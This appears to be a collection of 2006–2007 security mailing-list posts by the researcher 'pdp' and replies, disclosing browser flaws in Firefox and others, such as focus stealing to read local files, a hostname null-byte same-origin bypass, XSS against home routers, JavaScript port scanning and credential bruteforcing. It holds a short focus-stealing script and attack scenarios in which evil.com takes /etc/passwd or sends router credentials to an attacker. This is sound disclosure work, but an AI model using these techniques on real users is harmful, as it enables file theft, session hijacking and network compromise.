Technika - Attack Scripting Environment
http://www.gnucitizen.org/projects/technika/ Technika was developed for the computer security professionals to automate common exploitative task from the browser. It acts like a standard OS shell scripting environment. You can script everything from the currently viewed page and also spawn processes, unrestricted XMLHttpRequest connections and Sockets. Technika was successfuly used to implement several Web and System related exploits that run directly from the browser. Unfortunatley their source code cannot be shown here for obvious reasons. The extension is still in Alpha although it is mostly usable and quite stable. If you have a proposal, question, suggestion or correction, please contact us. -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox + popup blocker + XMLHttpRequest + srand() = oops
articular popup, attacker-supplied HTML file is loaded and executed with local file read privileges (in the aforementioned example, the contents of BOOT.ini file would be reported back to the victim). (Ta-dah!) /mz _______ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox focus stealing vulnerability (possibly other browsers)
phh :), I found something very interesting when testing your IE example... every time I try to type something in the address bar, the focus is redirected back to the input box. I wonder if it is possible to capture what the user is typing in the address bar. That would be neat... I am just checking your code to see what the hell is going on. On 2/11/07, Michal Zalewski <[EMAIL PROTECTED]> wrote: On Sun, 11 Feb 2007, pdp (architect) wrote: > IE is vulnerable too, since I used to play around with this bug long > time ago. Possibly MS00-093, but that's long fixed. But yes, MSIE variant is possible, though more contrived. /mz -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox focus stealing vulnerability (possibly other browsers)
try this
setInterval(function () {
document.getElementById('foo').focus();
},1);
:) the address bar is disabled...
On 2/11/07, pdp (architect) <[EMAIL PROTECTED]> wrote:
phh :), I found something very interesting when testing your IE
example... every time I try to type something in the address bar, the
focus is redirected back to the input box. I wonder if it is possible
to capture what the user is typing in the address bar. That would be
neat... I am just checking your code to see what the hell is going on.
On 2/11/07, Michal Zalewski <[EMAIL PROTECTED]> wrote:
> On Sun, 11 Feb 2007, pdp (architect) wrote:
>
> > IE is vulnerable too, since I used to play around with this bug long
> > time ago.
>
> Possibly MS00-093, but that's long fixed. But yes, MSIE variant is
> possible, though more contrived.
>
> /mz
>
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
Re: [Full-disclosure] Firefox focus stealing vulnerability (possibly other browsers)
here is an idea... we can combine both techniques into a single
attack... the hardest part of your hack is to force the user to type
:// plus several other / but if we steel the focus from the address
bar, unaware users will type something like this http://www.google.com
for example, which is what we want.
On 2/11/07, pdp (architect) <[EMAIL PROTECTED]> wrote:
try this
setInterval(function () {
document.getElementById('foo').focus();
},1);
:) the address bar is disabled...
On 2/11/07, pdp (architect) <[EMAIL PROTECTED]> wrote:
> phh :), I found something very interesting when testing your IE
> example... every time I try to type something in the address bar, the
> focus is redirected back to the input box. I wonder if it is possible
> to capture what the user is typing in the address bar. That would be
> neat... I am just checking your code to see what the hell is going on.
>
> On 2/11/07, Michal Zalewski <[EMAIL PROTECTED]> wrote:
> > On Sun, 11 Feb 2007, pdp (architect) wrote:
> >
> > > IE is vulnerable too, since I used to play around with this bug long
> > > time ago.
> >
> > Possibly MS00-093, but that's long fixed. But yes, MSIE variant is
> > possible, though more contrived.
> >
> > /mz
> >
>
>
> --
> pdp (architect) | petko d. petkov
> http://www.gnucitizen.org
>
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
Re: [Full-disclosure] Firefox focus stealing vulnerability (possibly other browsers)
Well, :) I cannot see how you can force someone to type / at least twice. Even if the targeted user writes a blog entry it is very unlikely that he/she will use / . I guess this vector works well on wikies and other systems that allow you to specify the text format through meta-characters. The cool think about stealing the address bar focus is that a confused user will try to repeat typing the url again and that may give you enough slashes and other characters to steal /etc/shadow or /etc/passwd for example, which means that this attack vector can work virtually every where. For example: Joe visits eveil.com. He is not interested in the site but evil.com is interested in his files. Joe types http://[what ever]. evil.com hijacks the address bar focus. This is how they get the first /. Joe will probably repeat to type stuff in the address bar again. The rest of the characters are not obtained. Now of course Joe will realise that he is not typing in the address bar but he will probably think that either the browser is screwed up or that he forgot to select the address bar first (it happens all the time). So, this is why I think that combination of both issues can create one hell of a good attack. Here is another idea. Joe visits Betty's MySpace private page. The page contains XSS. On the page there is an input box and a captcha. The user is asked to enter the text in the captcha in order to access the page. The captcha is: pde/t/aswsc Joe enters the text but the he receives a complain that his input is incorrect. The attacker repeats the process until all required characters are entered into the FILE INPUT box. simple. On 2/11/07, Michal Zalewski <[EMAIL PROTECTED]> wrote: On Sun, 11 Feb 2007, pdp (architect) wrote: > here is an idea... we can combine both techniques into a single > attack... the hardest part of your hack is to force the user to type > :// plus several other / Actually, MSIE doesn't require drive specification in the filename, and will probably accept relative paths as well (so you might not need \ either when picking files from the desktop or 'my documents' or whatnot). Firefox won't settle for a path without drive specification (but it will accept SMB requests ;-). On *nix systems, of course, aiming /etc/passwd is easier than C:\whatever. The problem with intercepting address bar input is that you can't echo the entered text back there without unloading the current document and its scripts; in my examples, I tried to make sure that it's hard for the user to notice that his input is not going where it should (in MSIE example, this includes simulation of a blinking cursor). /mz -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox focus stealing vulnerability (possibly other browsers)
what's up Michal, IE is vulnerable too, since I used to play around with this bug long time ago. It is a variation of your exploit but the principles are the same. I don't remember where I've read about it... hmm I guess securityfocus.com... very nice demo. On 2/11/07, Michal Zalewski <[EMAIL PROTECTED]> wrote: There is an interesting logic flaw in Mozilla Firefox web browser. The vulnerability allows the attacker to silently redirect focus of selected key press events to an otherwise protected file upload form field. This is possible because of how onKeyDown / onKeyPress events are handled, allowing the focus to be moved between the two. If exploited, this enables the attacker to read arbitrary files on victim's system. This was tested with 2.0.0.1. Opera is most likely not vulnerable; Microsoft Internet Explorer is not vulnerable as-is, but might be vulnerable to a variant of the attack. All INPUT TYPE=FILE form fields enjoy the benefits of added protection to prvent scripts from arbitrarily choosing local files to be uploaded to the server, and automatically submitting the form. For example, .value parameter cannot be set or changed, and any changes to .type reset the contents of the field. Unfortunately, Firefox allows a malicious script to redirect carefully selected, individual user keystrokes to a hidden file upload field, in order to compose a particular filename, then submit the form. User interaction is required, limiting the impact somewhat - but any website where the user can be reasonably expected to enter some text (a keyboard-controlled web game, a blog posting or commenting interface) can attempt to exploit the vulnerability, and eventually succeed with one user or another. A quick and naive demonstration of the problem (Firefox on Windows is required; depends on scancode values, so not all keyboards may be supported): http://lcamtuf.coredump.cx/focusbug/ (Ta-dah again) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox focus stealing vulnerability (possibly other browsers)
explanation of how the attack works here: http://www.gnucitizen.org/blog/browser-focus-rip On 2/12/07, Michal Zalewski <[EMAIL PROTECTED]> wrote: On Mon, 12 Feb 2007, [ISO-8859-1] Claus Färber wrote: > A proper solution would be to keep a list of files explicitly selected > by the user and only allow uploads of files in this list. Then even if a > script can manipulate the field, the browser won't upload files that > have not been selected by the user. Not necessarily that easy: notice that it is the user who enters the name of a target file. Unless you want to prevent the browser from accepting any files that were not chosen using a visual file selector widget - but in such a case, there's not much point in having a manual file path entry box in the first place. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox: serious cookie stealing / same-domain bypass vulnerability
very good work I wander whether we can execute code on about:config or about:cache. Right now we can only modify cookies and bypass the same origin policy. If we can get JavaScript running on about:cache or about:config or some chrome URL, we might be able to completely hijack the browser. If that is possible, the severity level of this issue is more then HIGH. On 2/14/07, Michal Zalewski <[EMAIL PROTECTED]> wrote: There is a serious vulnerability in Mozilla Firefox, tested with 2.0.0.1, but quite certainly affecting all recent versions. The problem lies in how Firefox handles writes to the 'location.hostname' DOM property. It is possible for a script to set it to values that would not otherwise be accepted as a hostname when parsing a regular URL - including a string containing \x00. Doing this prompts a peculiar behavior: internally, DOM string variables are not NUL-terminated, and as such, most of checks will consider 'evil.com\x00foo.example.com' to be a part of *.example.com domain. The DNS resolver, however, and much of the remaining browser code, operates on ASCIZ strings native to C/C++ instead, treating the aforementioned example as 'evil.com'. This makes it possible for evil.com to modify location.hostname as described above, and have the resulting HTTP request still sent to evil.com. Once the new page is loaded, the attacker will be able to set cookies for *.example.com; he'll be also able to alter document.domain accordingly, in order to bypass the same-origin policy for XMLHttpRequest and cross-frame / cross-window data access. A quick demonstration is available here: http://lcamtuf.dione.cc/ffhostname.html If you want to confirm a successful exploitation, check Tools -> Options -> Privacy -> Show Cookies... for coredump.cx after the test; for the demo to succeed, the browser needs to have Javascript enabled, and must accept session cookies. The impact is quite severe: malicious sites can manipulate authentication cookies for third-party webpages, and, by the virtue of bypassing same-origin policy, can possibly tamper with the way these sites are displayed or how they work. Regards, /mz http://lcamtuf.coredump.cx/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox: serious cookie stealing / same-domain bypass vulnerability
the first one runs in about:blank which is restricted. the second one is very interesting but still not very useful because it acts like about:blank. hmmm it seams that the hostname field has been seriously overlooked. On 2/15/07, Michal Zalewski <[EMAIL PROTECTED]> wrote: On Thu, 15 Feb 2007, pdp (architect) wrote: > I wander whether we can execute code on about:config or about:cache. Actually, there are several odd problems related to location updates and location.hostname specifically, including one scenario that apparently makes the script run with document.location in about: namespace. I did not research them any further, so I can't say if they're exploitable - but you can see a demo here, feel free to poke around: http://lcamtuf.coredump.cx/fftests.html Cheers, /mz http://lcamtuf.coredump.cx/ -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox: serious cookie stealing / same-domain bypass vulnerability
weird, firefox slowly dies out t2.html t1.html location.hostname="blog.com"; On 2/15/07, pdp (architect) <[EMAIL PROTECTED]> wrote: the first one runs in about:blank which is restricted. the second one is very interesting but still not very useful because it acts like about:blank. hmmm it seams that the hostname field has been seriously overlooked. On 2/15/07, Michal Zalewski <[EMAIL PROTECTED]> wrote: > On Thu, 15 Feb 2007, pdp (architect) wrote: > > > I wander whether we can execute code on about:config or about:cache. > > Actually, there are several odd problems related to location updates and > location.hostname specifically, including one scenario that apparently > makes the script run with document.location in about: namespace. > > I did not research them any further, so I can't say if they're > exploitable - but you can see a demo here, feel free to poke around: > > http://lcamtuf.coredump.cx/fftests.html > > Cheers, > /mz > http://lcamtuf.coredump.cx/ > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox bookmark cross-domain surfing vulnerability
This vulnerability is cute but not very useful mainly because a lot of social engineering is required. However, here is an interesting thought for you: instead of asking the user into bookmarking a page you can supply the bookmark directly to their browser by using Live Bookmarks. So, a mainstream attack will be when a SPLOG network injects malicious links into their feeds. If someone happens to be subscribed to this network with a Live Bookmark and they click on it... well you know. I haven't tested this, although it should work. So, although I would rate this issue as low risk, it could as well be quite high or at least medium. cheers On 2/22/07, Michal Zalewski <[EMAIL PROTECTED]> wrote: On Thu, 22 Feb 2007, pdp (architect) wrote: > michal, is that a feature or a bug? maybe it is not obivous to me what > you are doing but it i feel that it is almost like asking the user to > bookmark a bookmarklet. Bookmarklets should be bookmarkable only manually, with user knowledge and consent (that is, you need to copy-and-paste the URL, etc). This seems to be the case for javascript: URLs. Here, the situation is different: the user can, and quite likely will, unknowingly bookmark a script while attempting to bookmark a regular page via Ctrl-D + . He doesn't expect or want this code to later run in the context of his start page or any other resource (principle of least astonishment, etc, etc). Cheers, /mz -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox bookmark cross-domain surfing vulnerability
well placed splog network can reach millions of users in a couple of hours. On 2/22/07, Michal Zalewski <[EMAIL PROTECTED]> wrote: On Thu, 22 Feb 2007, pdp (architect) wrote: > This vulnerability is cute but not very useful mainly because a lot of > social engineering is required. Well, very little trickery is required - having a person bookmark an interesting page and then reopen it later on, while the browser is still on its start page (or just about any other high-profile site), isn't that unusual, and does not rely on an improbable set of circumstances, or the user being particularly timid. This problem is not that significant for a different reason - to affect a small percentage of population, you'd need to invest some serious effort into providing content and PR for the attack site. Spending several days to steal GMail cookies from 1000 users is a waste of time when you can get 1 rooted boxes in hours with a trojan horse e-mail. So, yeah. /mz -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox bookmark cross-domain surfing vulnerability
michal, is that a feature or a bug? maybe it is not obivous to me what you are doing but it i feel that it is almost like asking the user to bookmark a bookmarklet. of course it is a security problem if you execute untrusted bookmarklet on a page :). On 2/21/07, Michal Zalewski <[EMAIL PROTECTED]> wrote: There is an interesting vulnerability in how Firefox handles bookmarks. The flaw allows the attacker to steal credentials from commonly used browser start sites (for Firefox, Google is the seldom changed default; that means exposure of GMail authentication cookies, etc). The problem: it is relatively easy to trick a casual user into bookmarking a window that does not point to any physical location, but rather, is an inline data: URL scheme. When such a link is later retrieved, Javascript code placed therein will execute in the context of a currently visited webpage. The destination page can then continue to load without the user noticing. The impact of such a vulnerability isn't devastating, but as mentioned earlier, any attention-grabbing webpage can exploit this to silently launch attacks against Google, MSN, AOL credentials, etc. In an unlikely case the victim is browsing local files or special URLs before following a poisoned bookmark, system compromise is possible. Thanks to Piotr Szeptynski for bringing up the subject of bookmarks and inspiring me to dig into this. Self-explanatory demo page: http://lcamtuf.coredump.cx/ffbook/ This is being tracked as: https://bugzilla.mozilla.org/show_bug.cgi?id=371179 /mz http://lcamtuf.coredump.cx ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Firefox Cache Hack - Firefox History Hack redux
http://www.gnucitizen.org/projects/hscan-redux/ Inspired by Michal Zalewski recent Firefox bug hunt, I decided to give it a go and see what I can come up with. We all know how vulnerable Firefox and other browsers are. This is the reason why I am not particularly interested in finding specific browser bugs. However, when you are in hackmode things like this don't really matter. This vulnerability is not a reworked version of Jeremiah Grossman history hack. It is completely different and it should be treated as a new issue. The peculiar thing about this vulnerability is that it tells you which URLs you have attended during the current browser session (the last time you opened your browser). I am not sure how useful this is. Keep in mind that attackers can abuse this vulnerability in order to extract valuable information about your browsing habits. They can also use this hack to precisely detect whether you are logged into your router management interface. They can use this hack to detect your router type and version as well. Based on this information, they might be able to compromise the integrity of your network. -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox Cache Hack - Firefox History Hack redux
I have no idea. I have tested it on 2.0.0.1. On 2/23/07, Michael Silk <[EMAIL PROTECTED]> wrote: On 2/23/07, pdp (architect) <[EMAIL PROTECTED]> wrote: > http://www.gnucitizen.org/projects/hscan-redux/ doesn't work, win 2k3, ff 1.5.0.9 -- mike -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Firefox Cache Hack - Firefox History Hack redux
when i visit google.com I get redirected to google.co.uk... which is obviously a different domain :) On 2/26/07, arman <[EMAIL PROTECTED]> wrote: Ismail Dönmez wrote: > On Friday 23 February 2007 16:29:35 Michael Silk wrote: > >> On 2/23/07, pdp (architect) <[EMAIL PROTECTED]> wrote: >> >>> http://www.gnucitizen.org/projects/hscan-redux/ >>> >> doesn't work, win 2k3, ff 1.5.0.9 >> > > no go with FF 2.0.0.1 on Linux. > > > Are you sure? For some reason, it says google.com is unvisited no matter how many times I visit it, but it worked for other sites such as http://www.hsbc.co.uk/. (FF 2.0.0.1 on Linux as well) -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Firefox extensions go Evil - Critical Vulnerabilities in Firefox/Firebug
http://www.gnucitizen.org/blog/firebug-goes-evil There is critical vulnerability in Firefox/Firebug which allows attackers to inject code inside the browser chrome. This can lead to a lot of problems. Theoretically everything is possible, from modifying the user file system to launching processes, installing ROOTKITs, you name it. I recommend to disable Firebug for now until the issue is fixed. The issues is a bit critical since Firebug is one of the most popular extensions for Firefox. Given the fact that a lot of the Firefox users are geeks, the chances to have Firebug installed in a random Firefox client are quite high. I wrote two POC to demonstrate the issue. You can find them from the page on the top of this message. The first POC runs calc.exe and cmd.exe on windows systems. The second POC does a count down from 10 to 0 and executes calc.exe to prove that automatic execution is possible. -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Persistent CSRF and The Hotlink Hell
http://www.gnucitizen.org/blog/persistent-csrf-and-the-hotlink-hell/ http://michaeldaw.org/papers/hotlink_persistent_csrf/ I would like to bring your attention to a topic that has been rarely discussed. I am going to talk about hotlinks, redirections and of course CSRF (Cross-site Request Forgery). When we talk about CSRF we often assume that there is one kind only. After all, what else is in there when CSRF is all about making GET or POST requests on behalf of the victim? The victim needs to visit a page which launches the CSRF exploit. If the victim happens to have an established session with the exploited application, the attacker can perform the desired action like resetting the login credentials, for example. However, CSRF can be as persistent as persistent XSS (Cross-site Scripting) is and you don't need XSS to support it. Persistent CSRF is not dependent on persistent XSS. I hope that you find the post useful. -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
JavaScript port scanning
Inspired by SPI Dynamics - tiny JavaScript port scanner http://www.gnucitizen.org/projects/javascript-port-scanner/ -- pdp (architect) http://www.gnucitizen.org
Attacking the local LAN via XSS
this is my humble opinion http://www.gnucitizen.org/blog/xssing-the-lan I didn't go to BlackHat but since a lot of people are getting really interested in XSS attacks, right now when it is sort of blooming, I will try to put in theory how border routers/gateways can be trivially compromised (over the web). For that purpose three prerequisites are needed: 1. page that is controlled by the attacker, lets call it evil.com 2. border router vulnerable to XSS 3. user attending evil.com Once the user attends evil.com malicious JavaScript code executes and tries to figure out what machines are alive on local LAN and where the border router is located. This is usually achieved in a similar way the JavaScript port scanner works. Once the router is identified, the malicious script needs to figure out the software version. This is not quite trivial task since most modern browsers have cross domain restrictions which means that fancy Ajax techniques such as the XmlHttpRequest object wont work. The attack vector explained by SPI Dynamics though, should work on all browsers. For that purpose the malicious JavaScript fires several requests against the router looking for common image files. Different types of routers have different images, so, obviously this is a way of identifying the server software. Depending on the results collected by the scanning process, an already published XSS flow is flagged. This XSS flow is used by the malicious JavaScript to propagate its logic to the border router domain. This step is crucial since modern browsers wont allow you to perform cross domain requests unless a forth prerequisite is introduced – the buggy browser. Anyway, the malicious JavaScript creates an invisible iframe inside evil.com that carries the attack. The iframe src (source) attribute contains a URL that will exploit the XSS flow in the border router. Since the code is executed of the border router domain, no cross domain restrictions are applied. This means that the malicious logic can be constructed out of XMLHttpRequest objects which provide greater control on the input and the output. At the final stage the logic transported by the border router XSS flow performs login and retrieves the user credentials which are submitted to a remote resource that is controlled by the attacker. However, in corporate environments the attacker might wish to put down the security level of the exploited device and open a worm hole. It is quite simple and it is less complicated then it sounds. -- pdp (architect) http://www.gnucitizen.org
Re: [Full-disclosure] Attacking the local LAN via XSS
;) absolutely no worries mate, maybe I wasn't clear enough... I was referring to home routers. In general I am talking about devices that have http or https communication channels. This is because of JavaScript's limitations. Although, by using Java you can do all sorts of other stuff. regards BTW, there are quite a lot cisco devices that have http open on local LAN vulnerable to IOS HTTP Authorization Vulnerability. It has been always a matter of security vs. accessibility. This is way weak On 8/4/06, Thierry Zoller <[EMAIL PROTECTED]> wrote: Dear pdp (architect), pa> xecuted of the border router domain I'd like to see a "border router" serving images on port 80 ??? Doesn't make sense, really ;) No pun intented. -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7 -- pdp (architect) http://www.gnucitizen.org
Re: Re[2]: [Full-disclosure] Attacking the local LAN via XSS
I agree with you. Sometimes routers do not have http enabled although I believe that most administrators enable this service to perform easy/remote administration tasks. However, it is quite common to find http enabled devices. :) printers, wireless printers, cameras... you name it. Attacking these devices is not that severe as attacking the border router however, if the attacker is able to misconfigure one or more of these devices some bad things can happen (DoS, etc). IMHO, if you want to do stuff on lower level, you need to think of something else. JavaScript, Flash and Java Applets are technologies that are designed to run on the WEB. This is why, IMHO, they are quite good platform for performing WEB/HTTP based attacks. cheers On 8/4/06, Thierry Zoller <[EMAIL PROTECTED]> wrote: Dear pdp (architect), pa> BTW, there are quite a lot cisco devices that have http open on local pa> LAN vulnerable to IOS HTTP Authorization Vulnerability. That's my point, I have done an ehaustive amount of pentest, I have never come accross a router with accessible HTTP port. Maybe that's related to the nature of the networks though. -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7 -- pdp (architect) http://www.gnucitizen.org
XSSing the Lan 3 (web trojans.. not a new idea)
i hope it is not getting boring http://www.gnucitizen.org/blog/xssing-the-lan-3 In my previous posts I mentioned that in order to compromise LAN device from the Internet the attacker needs to exploit XSS vulnerability in the device firmware. The limitations of this kind of attack are quite obvious. Let's have a look at the exploitation process again. First of all the local LAN needs to be explored for live hosts and than each host needs to be scanned with URL Signature database in order to detect the firmware type and version. Once the firmware is detected an appropriate attack can be mounted. This is time consuming task as most of you may suggest. Unless the user spends considerable amount of time looking though the malicious page, the attack will fail. Fortunately or not there are a few other possible attack vectors that can be used in order to assure successfully exploitation of your internal LAN and the Internet at large. By definition trojan is "a program that appears desirable but actually contains something harmful" (princeton.edu). Brilliant! The same idea can be used by malicious users in order to gain trust relationship with the visiting users. For example, an attack can incorporate YouTube movie player inside malicious container that will carry the rest of the attack while the user previews a trailer. Unnoticeably, the malicious flash container can perform security audit of any network using JavaScript, ActionScript, Java, XML, XSLT and combination of these technologies. The longer the user interacts with the trojan the more successfully the attack would be. Of course, trojans can be built pretty much out of anything. In the most harmless of all harmful activities the visiting user can perform port scanning for the attacker using JavaScript. The results of the scan will be shipped back to a collection point when the scan is completed or when the user leaves the current resource. This type of scenario is concerning and requires immediate response for all vendors. Soon or latter distribution of web based trojans will be reality, but I hope for the "latter". To investigate the subject a little bit more I spend some time looking through the Internet Hypes of the past because I believe that they will be the first targets for distributing web based trojans. For example, the "crazy frog" (apparently quite popular cartoon character) was absolutely popular among the young generation mostly in United Kingdom. The most typical types of transport media for the cartoon characters were primarily movies, images and sounds. These transport mechanisms are affected by web based trojans and they can be easily incorporated into large scale attacks. Moreover, there are already infrastructures provided by the big software vendors that allows attacker to mount their malicious activities. According to Google Trends (http://www.google.com/trends?q=crazy+frog), the "crazy frog" phenomenon was at its peak between May 2005 and Jul 2006. This is exactly 13 months. The highest point was on 29th May 2005. This gives attackers from 5 to 6 months distribution time for shipping malicious media containers to pretty much every point on the Internet. The compromised media could incorporate DDoS attack that activates on certain date mimicking typical time bomb. Given the right channels, an attacker can easily make their own digital peace of art a desirable free product which will be exchanged among pears too, increasing the success rate of the attack. -- pdp (architect) http://www.gnucitizen.org
JavaScript get Internal Address (thanks to DanBUK)
http://www.gnucitizen.org/projects/javascript-address-info http://f-box.org/~dan/jstest.html The following technique was brought to me by DanBUK (http://f-box.org/~dan/). Dan managed to find the internal IP address of the visiting client by establishing a socket between local host and the remote web server. Upon success the socket populates its structure with all kinds of useful information among some of which are the internal IP address and the hostname. http://www.gnucitizen.org/projects/javascript-address-info/addressinfo.js This technique requires Java, however I think that It should be possible to achieve similar result by invoking special ActionScript methods from Flash. POC can be found on the url above. -- pdp (architect) http://www.gnucitizen.org
JavaScript Lazy Authorization Forcer and Visited Link Scaner
Lazy Authorization Forcer http://www.gnucitizen.org/projects/javascript-authorization-forcer/ This is an idea I am still developing but here you go POC is available and it works. The malicious JavaScript presented here will try to guess URLs that contain credentials. It is sort of Basic Authentication/FTP Authentication bruteforcer. The POC works well in IE6, IE7, Firefox and Opera. I wasn't able to suppress the Basic Authentication dialog when trying to create Basic Authentication Bruteforcer. However, I came up with this lazyForce implementation. A typical attack vector will be as the following: 1. The attacker discovers your internal IP 2. Based on your IP a class C range is enumerated using the Port Scanning or Visited Link Scanning technique. 3. Once a target is discovered a large enough dictionary is used to find valid credentials associated with each IP. In order to make IE work a style sheet that is embeded inside the current document needs to be reused. Read the provided source code for more information. Visited Link Scanner http://www.gnucitizen.org/projects/javascript-visited-link-scanner/ This is a technique that I've learned from Jeremiah Grossman (http://jeremiahgrossman.blogspot.com/) and his presentation on JavaScript malware. Please, keep all the credits for this finding to Jeremiah. http://www.gnucitizen.org/projects/javascript-visited-link-scanner/visitedlinkscanner.js The POC presented here is my improved version of the POC presented in BlackHat. I made it work well in IE6, IE7, Firefox and Opera. IE6 has very nasty disabilities when dealing with dynamically generated style sheets. However, these can be easy sorted out by reusing the current style sheet. If you are interested how it works just read the provided source code. Well, this is it. -- pdp (architect) http://www.gnucitizen.org
Cross Context Scripting with Sage
Cross Context Scripting in Firefox Sage Extension. http://www.gnucitizen.org/blog/cross-context-scripting-with-sage This proves that Firefox Extensions can be as dangerous as random flash or quicktime media files. Moreover, the POC provides a real example of how RSS feed Hacking really works. -- pdp (architect) http://www.gnucitizen.org
Google Search API Worms
http://www.gnucitizen.org/blog/google-search-api-worms The service that concerns me the most is Google AJAX Search API, the new JavaScript powered search widget. In this article I cover the potential problems with Google AJAX Search API and how it can be used by web worms to propagate. -- pdp (architect) http://www.gnucitizen.org
Self-contained XSS Attacks (the new generation of XSS)
http://www.gnucitizen.org/blog/self-contained-xss-attacks XSS attacks can be persistent and non-persistent. Persistent XSS is more dangerous since it allow attackers to control exploited clients for longer. On the other hand non-persistent XSS is considered less dangerous although it has been widely used in many phishing attempts. In this article I will expose some of my findings around a new attack vector which is of type non-persistent XSS but a lot more dangerous than the persistent one. Some of you might be familiar with this attack vector; this subject has been covered very vaguely in the past and none of its full potentials has been explored. The impact of this attack is much bigger today and could affect many web applications. -- pdp (architect) http://www.gnucitizen.org
Backdooring MP3 files (plus QuickTime issues and Cross-context Scripting)
http://www.gnucitizen.org/blog/backdooring-mp3-files MP3 files can be backdoored with malicious content too. Over the past few days I have been exploring different features of Apple's QuickTime player - key software component of iTunes and standard part of many home and business workstations. A lot of research was conducted and some problems, which IMHO are quite serious, were found. Please take this post as a security notice. QuickTime is quite versatile and flexible media platform which has a lot of functionalities. I quite like it I must say. I even use iTunes on daily basis. Unfortunately because of its flexibility QuickTime seams to allow execution of malicious content in a form of JavaScript from media files such as mp3, mp4, m4a and everything else that is supported. The article can be found at the link above. -- pdp (architect) http://www.gnucitizen.org
Re: [Full-disclosure] Self-contained XSS Attacks (the new generation of XSS)
hi there,
personally I don't care if it is a new or old vector :) to be
completely honest with you but thanks for the clarifications. I will
leave it to you guys to decide.
cheers Tim
On 9/22/06, Tim <[EMAIL PROTECTED]> wrote:
Hello pdp,
> http://www.gnucitizen.org/blog/self-contained-xss-attacks
>
> XSS attacks can be persistent and non-persistent. Persistent XSS is
> more dangerous since it allow attackers to control exploited clients
> for longer. On the other hand non-persistent XSS is considered less
> dangerous although it has been widely used in many phishing attempts.
>
> In this article I will expose some of my findings around a new attack
> vector which is of type non-persistent XSS but a lot more dangerous
> than the persistent one.
>
> Some of you might be familiar with this attack vector; this subject
> has been covered very vaguely in the past and none of its full
> potentials has been explored. The impact of this attack is much bigger
> today and could affect many web applications.
This is a very interesting vector. However, I would argue that it is
not a new class of XSS. Generally, the classes have been defined based
on where the injected data flows from, not how it is injected in the
page.
For instance, stored or persistent XSS comes from an attacker via one
communication, gets saved on the server, and is later reproduced to
another user. Reflected is generally embedded in a link, sent to a
victim, which a victim then sends to the webserver and is reflected back
to achieve injection. DOM-based is similar, but does not need to flow
to the webserver before coming back to get injected. I personally label
these three classes Type 2, Type 1 and Type 0 respectively, in order to
reduce confusion about terminology [1].
All three of these scenarios could be used with your injection vector.
A server side script could store the URL supplied by an attacker, and
later present it to a victim, thus making it persistent. Similarly, a
document.write() call could be exploited to inject a data: link, even if
the typical dangerous characters (', ", <, >, etc) were handled.
Don't get me wrong... I really like the vector, and what you've brought
to the list. I just don't think it should be considered another class.
cheers,
tim
1. http://en.wikipedia.org/wiki/XSS
--
pdp (architect)
http://www.gnucitizen.org
JavaScript Spider (code that can traverse the web)
http://www.gnucitizen.org/projects/javascript-spider/ During the last couple of days I have been testing several attack vectors to circumvent the browser security sandbox also known as the same origin policy. There is a lot involved into this subject and I will present my notes very soon. The JavaScript Spider is the first implementation of a proof of concept tool which shows that Javascript can be in fact quite dangerous. This implementation depends on proxydrop.com but other proxies are possible as well: Google Translate is one of them. Keep in mind that the tool spiders only the first level. The tool is located here: http://www.gnucitizen.org/projects/javascript-spider/launch.htm As you can see publicly available anonymizing proxies can be used to fetch remote pages. This technique will work quite successfully on Internet resources but not on Intranet. The reason for this is quite obvious. Suggestions and comments are greatly appreciated. -- pdp (architect) http://www.gnucitizen.org
AttackAPI 2.0 alpha
http://www.gnucitizen.org/projects/attackapi/ I understand that this announcement may be disturbing but I decided to do it anyway. I am quite happy to introduce AttackAPI 2.0 branch which is a lot better then the 1.x. Now it is a lot easier to code JavaScript attack vectors. There are also quite a few improvements that will become obvious once you start using it. I decided to call this release "Attack of the Killer Tomatoes" after the 1978, so called, horror movie. Don't ask. There are some cool plans for the next version which I am quite excited about but that will come latter. The demonstrations do not outline all AttackAPI features so spend some time over the source code. The documentation is on its way. Any code and doc contributions will be greatly appreciated. Check the SVN for more information: http://www.gnucitizen.org/svn/attackapi Cheers -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
New MySpace worm could be on its way
